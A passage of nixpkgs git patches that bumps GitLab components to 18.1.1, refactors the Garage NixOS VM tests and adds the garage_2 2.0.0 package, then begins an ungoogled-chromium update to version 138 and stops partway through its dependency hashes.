diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index 89d1ba5c8f65..b23e8093049d 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,14 +6,14 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.1.0";
+  version = "18.1.1";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-HwjbQLEc/GmFxVvyx0UMKKrNoHmfFADblVN/XOAtMZY=";
+    hash = "sha256-tqT+ARebnBhBHzOenkL/o7/tf4/urxKFAOFMwCQSzeA=";
   };
 
   vendorHash = "sha256-6ZHKwPhC3N813kiw1NnPOMVc2CBSIClwc4MunDi0gCk=";
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index 71840b4eddce..fd510ddfea1e 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.1.0",
-  "repo_hash": "0d7xs0l6nzs1bpr4slycq0agw3kk9k9bw3q0dqqc2knla71i21fd",
+  "version": "18.1.1",
+  "repo_hash": "1agw51d1qvvx6yyzz71sz4mkx04ic8hmql8lggz3x5scnhglnzjq",
   "yarn_hash": "0c5pp3dpvw0q0nfl6w1lpdmk7dvkfinwb7z7a3vq22wgzca23x2m",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.1.0-ee",
+  "rev": "v18.1.1-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.1.0",
-    "GITLAB_PAGES_VERSION": "18.1.0",
+    "GITALY_SERVER_VERSION": "18.1.1",
+    "GITLAB_PAGES_VERSION": "18.1.1",
     "GITLAB_SHELL_VERSION": "14.42.0",
     "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.6.0",
-    "GITLAB_WORKHORSE_VERSION": "18.1.0"
+    "GITLAB_WORKHORSE_VERSION": "18.1.1"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index 4d8c37f266e2..3c9a7bfe0e3b 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.1.0";
+  version = "18.1.1";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {

From 3c13f2ac1dc72f55e817d1887713bd0c4f9a3706 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Tue, 17 Jun 2025 11:44:24 -0400
Subject: [PATCH 1627/4511] nixos/tests/garage: move to runTest

(cherry picked from commit 722607472ac41cb62e4aa15df0e96fba9a7df5ec)
---
 nixos/tests/all-tests.nix                     |  5 +-
 nixos/tests/garage/basic.nix                  | 32 ++++------
 nixos/tests/garage/default.nix                | 48 +++++++--------
 nixos/tests/garage/with-3node-replication.nix | 58 ++++++++-----------
 pkgs/tools/filesystems/garage/default.nix     |  2 +-
 5 files changed, 62 insertions(+), 83 deletions(-)

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index fb4a622c0f08..46169f0f8176 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -534,7 +534,10 @@ in
   legit = handleTest ./legit.nix { };
   mimir = handleTest ./mimir.nix { };
   gancio = handleTest ./gancio.nix { };
-  garage = handleTest ./garage { };
+  garage_1 = import ./garage {
+    inherit runTest;
+    package = pkgs.garage_1_x;
+  };
   gatus = runTest ./gatus.nix;
   gemstash = handleTest ./gemstash.nix { };
   geoclue2 = runTest ./geoclue2.nix;
diff --git a/nixos/tests/garage/basic.nix b/nixos/tests/garage/basic.nix
index c6264d2cbc9f..f035410b86ae 100644
--- a/nixos/tests/garage/basic.nix
+++ b/nixos/tests/garage/basic.nix
@@ -1,17 +1,13 @@
-args@{ mkNode, ver, ... }:
-(import ../make-test-python.nix (
-  { pkgs, ... }:
-  {
-    name = "garage-basic";
-    meta = {
-      maintainers = with pkgs.lib.maintainers; [ raitobezarius ];
-    };
+{ mkNode, ... }:
+{
+  name = "garage-basic";
 
-    nodes = {
-      single_node = mkNode { replicationMode = "none"; };
-    };
+  nodes = {
+    single_node = mkNode { replicationMode = "none"; };
+  };
 
-    testScript = ''
+  testScript = # python
+    ''
       from typing import List
       from dataclasses import dataclass
       import re
@@ -54,9 +50,7 @@ args@{ mkNode, ver, ... }:
          machine.succeed(f"garage layout apply --version {version}")
 
       def create_api_key(machine: Machine, key_name: str) -> S3Key:
-         output = machine.succeed(f"garage key ${
-           if ver == "0_8" then "new --name" else "create"
-         } {key_name}")
+         output = machine.succeed(f"garage key create {key_name}")
          m = key_creation_regex.match(output)
          if not m or not m.group('key_id') or not m.group('secret_key'):
             raise ValueError('Cannot parse API key data')
@@ -94,13 +88,9 @@ args@{ mkNode, ver, ... }:
         single_node.wait_for_open_port(3900)
         # Now Garage is initialized.
         single_node_id = get_node_id(single_node)
-        apply_garage_layout(single_node, [f'-z qemutest -c ${
-          if ver == "0_8" then "1" else "1G"
-        } "{single_node_id}"'])
+        apply_garage_layout(single_node, [f'-z qemutest -c 1G "{single_node_id}"'])
         # Now Garage is operational.
         test_bucket_writes(single_node)
         test_bucket_over_http(single_node)
     '';
-  }
-))
-  args
+}
diff --git a/nixos/tests/garage/default.nix b/nixos/tests/garage/default.nix
index cd2824d26ecd..aa4a14569c52 100644
--- a/nixos/tests/garage/default.nix
+++ b/nixos/tests/garage/default.nix
@@ -1,13 +1,9 @@
 {
-  system ? builtins.currentSystem,
-  config ? { },
-  pkgs ? import ../../.. { inherit system config; },
+  runTest,
+  package,
 }:
-with pkgs.lib;
-
 let
   mkNode =
-    package:
     {
       replicationMode,
       publicV6Address ? "::1",
@@ -55,24 +51,22 @@ let
       virtualisation.diskSize = 2 * 1024;
     };
 in
-foldl
-  (
-    matrix: ver:
-    matrix
-    // {
-      "basic${toString ver}" = import ./basic.nix {
-        inherit system pkgs ver;
-        mkNode = mkNode pkgs."garage_${ver}";
-      };
-      "with-3node-replication${toString ver}" = import ./with-3node-replication.nix {
-        inherit system pkgs ver;
-        mkNode = mkNode pkgs."garage_${ver}";
-      };
-    }
-  )
-  { }
-  [
-    "0_8"
-    "0_9"
-    "1_x"
-  ]
+{
+  basic = runTest {
+    imports = [
+      ./basic.nix
+    ];
+    _module.args = {
+      inherit mkNode;
+    };
+  };
+
+  with-3node-replication = runTest {
+    imports = [
+      ./with-3node-replication.nix
+    ];
+    _module.args = {
+      inherit mkNode;
+    };
+  };
+}
diff --git a/nixos/tests/garage/with-3node-replication.nix b/nixos/tests/garage/with-3node-replication.nix
index a2f4189603b0..5d04e817cf49 100644
--- a/nixos/tests/garage/with-3node-replication.nix
+++ b/nixos/tests/garage/with-3node-replication.nix
@@ -1,32 +1,28 @@
-args@{ mkNode, ver, ... }:
-(import ../make-test-python.nix (
-  { pkgs, ... }:
-  {
-    name = "garage-3node-replication";
-    meta = {
-      maintainers = with pkgs.lib.maintainers; [ raitobezarius ];
-    };
+{ mkNode, ... }:
+{
+  name = "garage-3node-replication";
 
-    nodes = {
-      node1 = mkNode {
-        replicationMode = "3";
-        publicV6Address = "fc00:1::1";
-      };
-      node2 = mkNode {
-        replicationMode = "3";
-        publicV6Address = "fc00:1::2";
-      };
-      node3 = mkNode {
-        replicationMode = "3";
-        publicV6Address = "fc00:1::3";
-      };
-      node4 = mkNode {
-        replicationMode = "3";
-        publicV6Address = "fc00:1::4";
-      };
+  nodes = {
+    node1 = mkNode {
+      replicationMode = "3";
+      publicV6Address = "fc00:1::1";
     };
+    node2 = mkNode {
+      replicationMode = "3";
+      publicV6Address = "fc00:1::2";
+    };
+    node3 = mkNode {
+      replicationMode = "3";
+      publicV6Address = "fc00:1::3";
+    };
+    node4 = mkNode {
+      replicationMode = "3";
+      publicV6Address = "fc00:1::4";
+    };
+  };
 
-    testScript = ''
+  testScript = # python
+    ''
       from typing import List
       from dataclasses import dataclass
       import re
@@ -68,9 +64,7 @@ args@{ mkNode, ver, ... }:
          machine.succeed(f"garage layout apply --version {version}")
 
       def create_api_key(machine: Machine, key_name: str) -> S3Key:
-         output = machine.succeed(f"garage key ${
-           if ver == "0_8" then "new --name" else "create"
-         } {key_name}")
+         output = machine.succeed(f"garage key create {key_name}")
          m = key_creation_regex.match(output)
          if not m or not m.group('key_id') or not m.group('secret_key'):
             raise ValueError('Cannot parse API key data')
@@ -125,7 +119,7 @@ args@{ mkNode, ver, ... }:
         zones = ["nixcon", "nixcon", "paris_meetup", "fosdem"]
         apply_garage_layout(node1,
         [
-          f'{ndata.node_id} -z {zones[index]} -c ${if ver == "0_8" then "1" else "1G"}'
+          f'{ndata.node_id} -z {zones[index]} -c 1G'
           for index, ndata in enumerate(node_ids.values())
         ])
         # Now Garage is operational.
@@ -133,6 +127,4 @@ args@{ mkNode, ver, ... }:
         for node in nodes:
            test_bucket_over_http(get_machine(node))
     '';
-  }
-))
-  args
+}
diff --git a/pkgs/tools/filesystems/garage/default.nix b/pkgs/tools/filesystems/garage/default.nix
index a33b3587185e..db5632e9d058 100644
--- a/pkgs/tools/filesystems/garage/default.nix
+++ b/pkgs/tools/filesystems/garage/default.nix
@@ -92,7 +92,7 @@ let
         "k2v::poll::test_poll_item"
       ];
 
-      passthru.tests = nixosTests.garage;
+      passthru.tests = nixosTests."garage_${lib.versions.major version}";
 
       meta = {
         description = "S3-compatible object store for small self-hosted geo-distributed deployments";

From 63fb9f4d6b6f98c33cb9513eb586cd9ea1033a28 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Tue, 17 Jun 2025 10:00:51 -0400
Subject: [PATCH 1628/4511] garage_2: init at 2.0.0

https://garagehq.deuxfleurs.fr/blog/2025-06-garage-v2/
https://git.deuxfleurs.fr/Deuxfleurs/garage/releases/tag/v2.0.0

Thanks to @herbetom for providing the test updates

(cherry picked from commit b9700f766a10803c28e12009f768df565898aa67)
---
 nixos/tests/all-tests.nix                     |   6 +-
 nixos/tests/garage/basic.nix                  |  96 ++++-------------
 nixos/tests/garage/common.nix                 |  85 +++++++++++++++
 nixos/tests/garage/default.nix                |  12 +--
 nixos/tests/garage/with-3node-replication.nix | 102 +++++-------------
 pkgs/tools/filesystems/garage/default.nix     |   9 ++
 pkgs/top-level/all-packages.nix               |   4 +
 7 files changed, 153 insertions(+), 161 deletions(-)
 create mode 100644 nixos/tests/garage/common.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 46169f0f8176..19d44fdffe4d 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -536,7 +536,11 @@ in
   gancio = handleTest ./gancio.nix { };
   garage_1 = import ./garage {
     inherit runTest;
-    package = pkgs.garage_1_x;
+    package = pkgs.garage_1;
+  };
+  garage_2 = import ./garage {
+    inherit runTest;
+    package = pkgs.garage_2;
   };
   gatus = runTest ./gatus.nix;
   gemstash = handleTest ./gemstash.nix { };
diff --git a/nixos/tests/garage/basic.nix b/nixos/tests/garage/basic.nix
index f035410b86ae..5c0d1794a12f 100644
--- a/nixos/tests/garage/basic.nix
+++ b/nixos/tests/garage/basic.nix
@@ -1,87 +1,31 @@
-{ mkNode, ... }:
+{
+  lib,
+  mkNode,
+  package,
+  testScriptSetup,
+  ...
+}:
 {
   name = "garage-basic";
 
   nodes = {
-    single_node = mkNode { replicationMode = "none"; };
+    single_node = mkNode {
+      extraSettings =
+        if (lib.versionAtLeast package.version "2") then
+          {
+            replication_factor = 1;
+            consistency_mode = "consistent";
+          }
+        else
+          {
+            replication_mode = "none";
+          };
+    };
   };
 
   testScript = # python
     ''
-      from typing import List
-      from dataclasses import dataclass
-      import re
-
-      start_all()
-
-      cur_version_regex = re.compile('Current cluster layout version: (?P<ver>\d*)')
-      key_creation_regex = re.compile('Key name: (?P<key_name>.*)\nKey ID: (?P<key_id>.*)\nSecret key: (?P<secret_key>.*)')
-
-      @dataclass
-      class S3Key:
-         key_name: str
-         key_id: str
-         secret_key: str
-
-      @dataclass
-      class GarageNode:
-         node_id: str
-         host: str
-
-      def get_node_fqn(machine: Machine) -> GarageNode:
-        node_id, host = machine.succeed("garage node id").split('@')
-        return GarageNode(node_id=node_id, host=host)
-
-      def get_node_id(machine: Machine) -> str:
-        return get_node_fqn(machine).node_id
-
-      def get_layout_version(machine: Machine) -> int:
-        version_data = machine.succeed("garage layout show")
-        m = cur_version_regex.search(version_data)
-        if m and m.group('ver') is not None:
-          return int(m.group('ver')) + 1
-        else:
-          raise ValueError('Cannot find current layout version')
-
-      def apply_garage_layout(machine: Machine, layouts: List[str]):
-         for layout in layouts:
-            machine.succeed(f"garage layout assign {layout}")
-         version = get_layout_version(machine)
-         machine.succeed(f"garage layout apply --version {version}")
-
-      def create_api_key(machine: Machine, key_name: str) -> S3Key:
-         output = machine.succeed(f"garage key create {key_name}")
-         m = key_creation_regex.match(output)
-         if not m or not m.group('key_id') or not m.group('secret_key'):
-            raise ValueError('Cannot parse API key data')
-         return S3Key(key_name=key_name, key_id=m.group('key_id'), secret_key=m.group('secret_key'))
-
-      def get_api_key(machine: Machine, key_pattern: str) -> S3Key:
-         output = machine.succeed(f"garage key info {key_pattern}")
-         m = key_creation_regex.match(output)
-         if not m or not m.group('key_name') or not m.group('key_id') or not m.group('secret_key'):
-             raise ValueError('Cannot parse API key data')
-         return S3Key(key_name=m.group('key_name'), key_id=m.group('key_id'), secret_key=m.group('secret_key'))
-
-      def test_bucket_writes(node):
-        node.succeed("garage bucket create test-bucket")
-        s3_key = create_api_key(node, "test-api-key")
-        node.succeed("garage bucket allow --read --write test-bucket --key test-api-key")
-        other_s3_key = get_api_key(node, 'test-api-key')
-        assert other_s3_key.secret_key == other_s3_key.secret_key
-        node.succeed(
-          f"mc alias set test-garage http://[::1]:3900 {s3_key.key_id} {s3_key.secret_key} --api S3v4"
-        )
-        node.succeed("echo test | mc pipe test-garage/test-bucket/test.txt")
-        assert node.succeed("mc cat test-garage/test-bucket/test.txt").strip() == "test"
-
-      def test_bucket_over_http(node, bucket='test-bucket', url=None):
-        if url is None:
-           url = f"{bucket}.web.garage"
-
-        node.succeed(f'garage bucket website --allow {bucket}')
-        node.succeed(f'echo hello world | mc pipe test-garage/{bucket}/index.html')
-        assert (node.succeed(f"curl -H 'Host: {url}' http://localhost:3902")).strip() == 'hello world'
+      ${testScriptSetup}
 
       with subtest("Garage works as a single-node S3 storage"):
         single_node.wait_for_unit("garage.service")
diff --git a/nixos/tests/garage/common.nix b/nixos/tests/garage/common.nix
new file mode 100644
index 000000000000..c8392eee6dba
--- /dev/null
+++ b/nixos/tests/garage/common.nix
@@ -0,0 +1,85 @@
+{ ... }:
+{
+  _module.args.testScriptSetup = # python
+    ''
+      from typing import List
+      from dataclasses import dataclass
+      import re
+
+      start_all()
+
+      cur_version_regex = re.compile(r'Current cluster layout version: (?P<ver>\d*)')
+
+      @dataclass
+      class S3Key:
+         key_name: str
+         key_id: str
+         secret_key: str
+
+      @dataclass
+      class GarageNode:
+         node_id: str
+         host: str
+
+      def get_node_fqn(machine: Machine) -> GarageNode:
+        node_id, host = machine.succeed("garage node id").split('@')
+        return GarageNode(node_id=node_id, host=host)
+
+      def get_node_id(machine: Machine) -> str:
+        return get_node_fqn(machine).node_id
+
+      def get_layout_version(machine: Machine) -> int:
+        version_data = machine.succeed("garage layout show")
+        m = cur_version_regex.search(version_data)
+        if m and m.group('ver') is not None:
+          return int(m.group('ver')) + 1
+        else:
+          raise ValueError('Cannot find current layout version')
+
+      def apply_garage_layout(machine: Machine, layouts: List[str]):
+         for layout in layouts:
+            machine.succeed(f"garage layout assign {layout}")
+         version = get_layout_version(machine)
+         machine.succeed(f"garage layout apply --version {version}")
+
+      def create_api_key(machine: Machine, key_name: str) -> S3Key:
+         output = machine.succeed(f"garage key create {key_name}")
+         return parse_api_key_data(output)
+
+      def get_api_key(machine: Machine, key_pattern: str) -> S3Key:
+         output = machine.succeed(f"garage key info {key_pattern}")
+         return parse_api_key_data(output)
+
+      def parse_api_key_data(text) -> S3Key:
+        key_creation_regex = re.compile(r'Key name: \s*(?P<key_name>.*)|' r'Key ID: \s*(?P<key_id>.*)|' r'Secret key: \s*(?P<secret_key>.*)', re.IGNORECASE)
+        fields = {}
+        for match in key_creation_regex.finditer(text):
+          for key, value in match.groupdict().items():
+            if value:
+              fields[key] = value.strip()
+        try:
+          return S3Key(**fields)
+        except TypeError as e:
+          raise ValueError(f"Cannot parse API key data. Missing required field(s): {e}")
+
+      def test_bucket_writes(node):
+        node.succeed("garage bucket create test-bucket")
+        s3_key = create_api_key(node, "test-api-key")
+        node.succeed("garage bucket allow --read --write test-bucket --key test-api-key")
+        other_s3_key = get_api_key(node, 'test-api-key')
+        assert other_s3_key.secret_key == other_s3_key.secret_key
+        node.succeed(
+          f"mc alias set test-garage http://[::1]:3900 {s3_key.key_id} {s3_key.secret_key} --api S3v4"
+        )
+        node.succeed("echo test | mc pipe test-garage/test-bucket/test.txt")
+        assert node.succeed("mc cat test-garage/test-bucket/test.txt").strip() == "test"
+
+      def test_bucket_over_http(node, bucket='test-bucket', url=None):
+        if url is None:
+           url = f"{bucket}.web.garage"
+
+        node.succeed(f'garage bucket website --allow {bucket}')
+        node.succeed(f'echo hello world | mc pipe test-garage/{bucket}/index.html')
+        assert (node.succeed(f"curl -H 'Host: {url}' http://localhost:3902")).strip() == 'hello world'
+    '';
+}
diff --git a/nixos/tests/garage/default.nix b/nixos/tests/garage/default.nix
index aa4a14569c52..93f721abe241 100644
--- a/nixos/tests/garage/default.nix
+++ b/nixos/tests/garage/default.nix
@@ -5,8 +5,8 @@
 let
   mkNode =
     {
-      replicationMode,
       publicV6Address ? "::1",
+      extraSettings ? { },
     }:
     { pkgs, ... }:
     {
@@ -26,8 +26,6 @@ let
         enable = true;
         inherit package;
         settings = {
-          replication_mode = replicationMode;
-
           rpc_bind_addr = "[::]:3901";
           rpc_public_addr = "[${publicV6Address}]:3901";
           rpc_secret = "5c1915fa04d0b6739675c61bf5907eb0fe3d9c69850c83820f51b4d25d13868c";
@@ -43,7 +41,7 @@ let
             root_domain = ".web.garage";
             index = "index.html";
           };
-        };
+        } // extraSettings;
       };
       environment.systemPackages = [ pkgs.minio-client ];
 
@@ -54,19 +52,21 @@ in
 {
   basic = runTest {
     imports = [
+      ./common.nix
       ./basic.nix
     ];
     _module.args = {
-      inherit mkNode;
+      inherit mkNode package;
     };
   };
 
   with-3node-replication = runTest {
     imports = [
+      ./common.nix
       ./with-3node-replication.nix
     ];
     _module.args = {
-      inherit mkNode;
+      inherit mkNode package;
     };
   };
 }
diff --git a/nixos/tests/garage/with-3node-replication.nix b/nixos/tests/garage/with-3node-replication.nix
index 5d04e817cf49..884ef780a4d5 100644
--- a/nixos/tests/garage/with-3node-replication.nix
+++ b/nixos/tests/garage/with-3node-replication.nix
@@ -1,101 +1,47 @@
-{ mkNode, ... }:
+{
+  lib,
+  mkNode,
+  package,
+  testScriptSetup,
+  ...
+}:
+let
+  extraSettings =
+    if (lib.versionAtLeast package.version "2") then
+      {
+        replication_factor = 3;
+        consistency_mode = "consistent";
+      }
+    else
+      {
+        replication_mode = "3";
+      };
+in
 {
   name = "garage-3node-replication";
 
   nodes = {
     node1 = mkNode {
-      replicationMode = "3";
+      inherit extraSettings;
       publicV6Address = "fc00:1::1";
     };
     node2 = mkNode {
-      replicationMode = "3";
+      inherit extraSettings;
       publicV6Address = "fc00:1::2";
     };
     node3 = mkNode {
-      replicationMode = "3";
+      inherit extraSettings;
       publicV6Address = "fc00:1::3";
     };
     node4 = mkNode {
-      replicationMode = "3";
+      inherit extraSettings;
       publicV6Address = "fc00:1::4";
     };
   };
 
   testScript = # python
     ''
-      from typing import List
-      from dataclasses import dataclass
-      import re
-      start_all()
-
-      cur_version_regex = re.compile('Current cluster layout version: (?P<ver>\d*)')
-      key_creation_regex = re.compile('Key name: (?P<key_name>.*)\nKey ID: (?P<key_id>.*)\nSecret key: (?P<secret_key>.*)')
-
-      @dataclass
-      class S3Key:
-         key_name: str
-         key_id: str
-         secret_key: str
-
-      @dataclass
-      class GarageNode:
-         node_id: str
-         host: str
-
-      def get_node_fqn(machine: Machine) -> GarageNode:
-        node_id, host = machine.succeed("garage node id").split('@')
-        return GarageNode(node_id=node_id, host=host)
-
-      def get_node_id(machine: Machine) -> str:
-        return get_node_fqn(machine).node_id
-
-      def get_layout_version(machine: Machine) -> int:
-        version_data = machine.succeed("garage layout show")
-        m = cur_version_regex.search(version_data)
-        if m and m.group('ver') is not None:
-          return int(m.group('ver')) + 1
-        else:
-          raise ValueError('Cannot find current layout version')
-
-      def apply_garage_layout(machine: Machine, layouts: List[str]):
-         for layout in layouts:
-            machine.succeed(f"garage layout assign {layout}")
-         version = get_layout_version(machine)
-         machine.succeed(f"garage layout apply --version {version}")
-
-      def create_api_key(machine: Machine, key_name: str) -> S3Key:
-         output = machine.succeed(f"garage key create {key_name}")
-         m = key_creation_regex.match(output)
-         if not m or not m.group('key_id') or not m.group('secret_key'):
-            raise ValueError('Cannot parse API key data')
-         return S3Key(key_name=key_name, key_id=m.group('key_id'), secret_key=m.group('secret_key'))
-
-      def get_api_key(machine: Machine, key_pattern: str) -> S3Key:
-         output = machine.succeed(f"garage key info {key_pattern}")
-         m = key_creation_regex.match(output)
-         if not m or not m.group('key_name') or not m.group('key_id') or not m.group('secret_key'):
-             raise ValueError('Cannot parse API key data')
-         return S3Key(key_name=m.group('key_name'), key_id=m.group('key_id'), secret_key=m.group('secret_key'))
-
-      def test_bucket_writes(node):
-        node.succeed("garage bucket create test-bucket")
-        s3_key = create_api_key(node, "test-api-key")
-        node.succeed("garage bucket allow --read --write test-bucket --key test-api-key")
-        other_s3_key = get_api_key(node, 'test-api-key')
-        assert other_s3_key.secret_key == other_s3_key.secret_key
-        node.succeed(
-          f"mc alias set test-garage http://[::1]:3900 {s3_key.key_id} {s3_key.secret_key} --api S3v4"
-        )
-        node.succeed("echo test | mc pipe test-garage/test-bucket/test.txt")
-        assert node.succeed("mc cat test-garage/test-bucket/test.txt").strip() == "test"
-
-      def test_bucket_over_http(node, bucket='test-bucket', url=None):
-        if url is None:
-           url = f"{bucket}.web.garage"
-
-        node.succeed(f'garage bucket website --allow {bucket}')
-        node.succeed(f'echo hello world | mc pipe test-garage/{bucket}/index.html')
-        assert (node.succeed(f"curl -H 'Host: {url}' http://localhost:3902")).strip() == 'hello world'
+      ${testScriptSetup}
 
       with subtest("Garage works as a multi-node S3 storage"):
         nodes = ('node1', 'node2', 'node3', 'node4')
diff --git a/pkgs/tools/filesystems/garage/default.nix b/pkgs/tools/filesystems/garage/default.nix
index db5632e9d058..177862b18d26 100644
--- a/pkgs/tools/filesystems/garage/default.nix
+++ b/pkgs/tools/filesystems/garage/default.nix
@@ -137,11 +137,20 @@ rec {
     cargoHash = "sha256-vcvD0Fn/etnAuXrM3+rj16cqpEmW2nzRmrjXsftKTFE=";
   };
 
+  garage_2_0_0 = generic {
+    version = "2.0.0";
+    hash = "sha256-dn7FoouF+5qmW6fcC20bKQSc6D2G9yrWdBK3uN3bF58=";
+    cargoHash = "sha256-6VM/EesrUIaQOeDGqzb0kOqMz4hW7zBJUnaRQ9C3cqc=";
+  };
+
   garage_0_8 = garage_0_8_7;
 
   garage_0_9 = garage_0_9_4;
 
   garage_1_x = garage_1_2_0;
+  garage_1 = garage_1_x;
+
+  garage_2 = garage_2_0_0;
 
   garage = garage_1_x;
 }
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 9422e4994dc5..f152c8546b1a 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -3059,6 +3059,10 @@ with pkgs;
     garage_0_9_4
     garage_1_2_0
     garage_1_x
+    garage_1
+
+    garage_2_0_0
+    garage_2
     ;
 
   gauge-unwrapped = callPackage ../development/tools/gauge { };

From f1671cc197d330b8e946a7f072ea7871dad5aacf Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Mon, 23 Jun 2025 17:29:54 -0400
Subject: [PATCH 1629/4511] garage_0_x: disable tests

0.x is no longer supported, but until we remove from tree
we'll skip running tests on it

(cherry picked from commit c7aef91feb8aa82f5d3ff968fe17fe8cf2c403c6)
---
 pkgs/tools/filesystems/garage/default.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/tools/filesystems/garage/default.nix b/pkgs/tools/filesystems/garage/default.nix
index 177862b18d26..5af808b5a78b 100644
--- a/pkgs/tools/filesystems/garage/default.nix
+++ b/pkgs/tools/filesystems/garage/default.nix
@@ -92,7 +92,9 @@ let
         "k2v::poll::test_poll_item"
       ];
 
-      passthru.tests = nixosTests."garage_${lib.versions.major version}";
+      passthru.tests =
+        lib.optionalAttrs (lib.versionAtLeast version "1")
+          nixosTests."garage_${lib.versions.major version}";
 
       meta = {
         description = "S3-compatible object store for small self-hosted geo-distributed deployments";

From b25248d93daa94cb9f30a1d1d53473c72fd20449 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Thu, 26 Jun 2025 19:48:22 +0200
Subject: [PATCH 1630/4511] ungoogled-chromium: 137.0.7151.119-1 ->
 138.0.7204.49-1

https://developer.chrome.com/blog/new-in-chrome-138

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_24.html

This update includes 11 security fixes.

CVEs:
CVE-2025-6555 CVE-2025-6556 CVE-2025-6557

(cherry picked from commit 1d47edfe951b1edd0a97d08d989a63cbdfc6bada)
---
 .../networking/browsers/chromium/info.json    | 261 +++++++++---------
 .../browsers/chromium/ungoogled-flags.toml    |   1 -
 2 files changed, 133 insertions(+), 129 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 330623ce8247..b8c8fa8ba405 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,27 +802,27 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "137.0.7151.119",
+    "version": "138.0.7204.49",
     "deps": {
       "depot_tools": {
-        "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
-        "hash": "sha256-7HJyJARZPes5MmKgXd3TV1uRjk0bH/pkPm+F4scg+Tc="
+        "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
+        "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A="
       },
       "gn": {
-        "rev": "85cc21e94af590a267c1c7a47020d9b420f8a033",
-        "hash": "sha256-+nKP2hBUKIqdNfDz1vGggXSdCuttOt0GwyGUQ3Z1ZHI="
+        "rev": "ebc8f16ca7b0d36a3e532ee90896f9eb48e5423b",
+        "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
       },
       "ungoogled-patches": {
-        "rev": "137.0.7151.119-1",
-        "hash": "sha256-SMEe/Wc4cjaZfw4pQIWeblEvB9CmOJWVNkDvCKAow3Q="
+        "rev": "138.0.7204.49-1",
+        "hash": "sha256-lfaYQjeyM0fAcqayyiL3wcnp1vifYa5RRBOI3mRGUxQ="
       },
-      "npmHash": "sha256-I6MsfAhrLRmgiRJ13LSejfy2N63C3Oug5tOOXA622j4="
+      "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "e0ac9d12dff5f2d33c935958b06bf1ded7f1c08c",
-        "hash": "sha256-+3C2n/7bbIOpXGvBrFnSMNlgLVRMoPtOF14CDROVClI=",
+        "rev": "d2b48fd5f7813ed477a2d68fa232b8178fa4fb1e",
+        "hash": "sha256-n2jSVXpV0mqdTdLpE+N3yJhutJTOE1fez0BleU0+VSU=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -832,28 +832,28 @@
       },
       "src/third_party/compiler-rt/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git",
-        "rev": "d0e4db9fcea15a392aaada986cbe33658afc0454",
-        "hash": "sha256-P/uDeqalafY1S7AqZkL1Pz7Jc+iWrkfiACxEtgTRqdU="
+        "rev": "57196dd146582915c955f6d388e31aea93220c51",
+        "hash": "sha256-FVdcKGwRuno3AzS6FUvI8OTj3mBMRfFR2A8GzYcwIU4="
       },
       "src/third_party/libc++/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git",
-        "rev": "9d0cba76be7399399d3a499ff3a52c264db3b104",
-        "hash": "sha256-wpMma142NBqyrSbaReQr5yOYhvQIZ06j6S2EUnXmZ2I="
+        "rev": "a01c02c9d4acbdae3b7e8a2f3ee58579a9c29f96",
+        "hash": "sha256-36ulJk/YTfP5k1sDeA/WQyIO8xaplRKK4cQhfTZdpko="
       },
       "src/third_party/libc++abi/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git",
-        "rev": "f2a7f2987f9dcdf8b04c2d8cd4dcb186641a7c3e",
-        "hash": "sha256-X9cAbyd8ZPSwqOGhPYwIZ6b9E3tVwAuAYZKMgbZQxgk="
